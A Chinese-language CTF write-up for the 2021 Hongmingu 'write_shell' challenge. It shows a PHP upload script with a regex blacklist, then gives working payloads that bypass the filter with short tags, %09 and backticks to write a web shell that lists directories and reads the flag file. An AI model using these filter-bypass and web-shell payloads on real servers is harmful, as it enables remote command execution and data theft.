红明谷CTF2021-write_shell
Created At :
Count:337
Views 👀 :
红明谷CTF2021-write_shell
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ die('hacker!!!'); }else{ return $input; } }
function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } }
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
|
传入两个参数
action=pwd时,显示路径
action=upload时,写入内容
check()函数
通过正则过滤
1
| preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)
|
对php的过滤可以使用短标签:<?=代码?>
对空格的过滤可使用 “/t” 或 “%09”代替
没有过滤反引号,可以在反引号中执行shell命令
首先查看我们文件生成的路径
查看目录
1 2 3
| ?action=upload&data=<?=`ls\t/`?> 或 ?action=upload&data=<?=`ls%09/`?>
|
访问得到目录信息
1 2 3
| url/sandbox/fc3f8d0d99ccdde85c8cfc624fe94c32/index.php
|
读取文件
1 2 3
| ?action=upload&data=<?=`cat\t/flllllll1112222222lag`?> 或 ?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>
|
访问得到flag
1
| sandbox/fc3f8d0d99ccdde85c8cfc624fe94c32/index.php
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。